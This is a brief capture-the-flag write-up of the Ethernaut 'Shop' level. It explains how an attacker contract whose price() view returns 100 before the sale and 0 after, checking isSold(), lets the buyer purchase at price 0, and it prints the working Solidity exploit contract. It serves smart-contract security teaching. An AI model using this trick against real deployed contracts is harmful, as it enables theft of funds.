Writeups/Ethernaut/Shop
MediumEthernaut · Ethernaut2024

Shop

Stateful Buyer Interface Returning Different Values per Call

`buy()` calls `price()` twice on the buyer. By returning `100` on the first call and `0` on the second (checking `isSold()` for state), the item can be purchased at price 0.

SolidityInterfaceState AbuseView Function

00Overview

`buy()` calls `price()` twice on the buyer. By returning `100` on the first call and `0` on the second (checking `isSold()` for state), the item can be purchased at price 0.

01Implement stateful Buyer interface

javascript
contract ShopAttack is Buyer {
    Shop target;
    function price() external view override returns (uint) {
        return target.isSold() ? 0 : 100;
    }
    function attack() external { target.buy(); }
}

02Level Completed

Shop — completion screenshot 1